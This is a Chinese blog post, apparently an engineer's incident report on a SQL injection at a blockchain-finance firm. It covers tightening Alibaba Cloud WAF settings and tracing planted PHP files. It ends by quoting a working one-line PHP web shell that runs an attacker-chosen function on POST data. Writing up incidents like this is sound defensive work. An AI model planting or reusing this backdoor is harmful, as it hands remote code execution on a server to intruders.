引言

一波未平，一波又起。金融公司的業務實在是太引人耳目，何況我們公司的業處正處于風口之上（區塊鏈金融），并且每天有大量現金交易，所以不知道有多少躲在暗處一直在盯著你的系統，讓你防不勝防，并且想方設法的找到突破點，以達到的目的來獲取非法利益。

俗話說：“道高一尺，魔高一丈”。系統和代碼也可以這么理解，防的在好，總有漏洞。系統和代碼也沒有絕對的安全。該來的總會來……

sql注入與“她”相遇

某一天，天氣晴朗，心情舒暢。“她”來了，打破了筆者的美好時光。下午2點多鐘，筆者和朋友在蘇州街的天使匯二樓極客咖啡參加某個云廠商的Kubernetes一場技術沙龍，正聽得興致勃勃的時候，筆者的公司群里有個php開發突然帖出一張圖：

這個時候，群里翻騰了。沒錯，被SQL注入了，數據庫的表被注入了字段，并且經檢查后，發現這個庫中的大部分表都被注入了這個字段。我的電腦沒帶在身邊，真是著急，馬上跟總監說明問題嚴重性。由于我電腦不在身邊， 只能把數據庫賬號授權（讀寫權限）給那個php開發，讓他檢查所有的表，把被注入的字段刪除掉。并查看數據和其它表有沒有被修改。好在發現急時，數據和業務都沒有被丟失和損壞。

這里我要說明一下，我們的業務都在阿里云，項目是以php為主，并且開通了waf防火墻，只是waf上的防護措施比較寬松。筆者在安全方面的經驗也比較欠缺，好在開通了阿里云的WAF，讓筆者在排查和防護上也變得輕松和快捷。

此時，我已經在回家的路上，回到家中迅速打開電腦。

調整waf策略

由于筆者也是剛接手工作，阿里云上的很多策略還沒得到及時調整。所以才這么容易被攻進來。即然被注入了，肯定要把源給揪出來。我也在次把所有的表都檢查一遍，確認沒問題后，在去調整waf策略，進入阿里云。

1、進入相關域名的防護配置，我們先來看下調整前的策略，如下圖：

從上圖可以看出，“Web應用防護”策略是寬松模式，其主要作用就是防護SQL注入、XSS跨站等常見Web應用，寬松模式下對業務的誤報程度最低，但也容易漏過***。“惡意IP懲罰”也沒啟用。這么寬松的防護措施風險比較大。趕緊先調整吧。

2、調整后的策略（如有多個域名，都調整過來），如下圖：

防護策略調整過了，還需要把問題根源找到啊，這才是最重要的！！！

查找可疑文件

此時，php的項目源碼分布在好幾臺服務器上，如果靠傳統方式去排查，挨個檢查這些服務器的目錄，各種能用的命令都用上了，是不是也挺費勁費時的，還不知道要查到啥時候。這個時候，阿里有項服務起到關鍵的作用了：“態勢感知”，這個需要升級為企業版本（費用不高，我們公司開通了一年，費用6000多塊）。這就是用阿里的好處（不是打廣告），確實讓你省心。

1、進入“態勢感知”查看一下，就立馬發現了一堆異常行為，遍布在好幾臺服務器上如下圖：

2、點幾個異常行為進入看看，我就打開其中兩個行為看一下，其它的行為也都差不多，如下圖：

從命令行參數中可以看出相關目錄有/Mode/Lite/ ，并且給出的解決方案是及時排查可疑目錄下的信息并及時清除。筆者順著給出的提示在服務器上進行 find 相關目錄，查找出目錄所在路徑，如下圖：

順藤摸瓜吧，列一下這個目錄的文件：

從上圖發現了有兩個異常的php文件，目錄屬主也和其它文件不一樣，筆者打開代碼倉庫也進入相同的目錄進行比對，代碼倉庫中確實沒有這兩個文件。為了確認清楚，把這兩個文件down下來發給開發。開發說項目中沒有這兩個文件。把它down下來打開文件看看：

Content.class.php文件內容：

<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>
}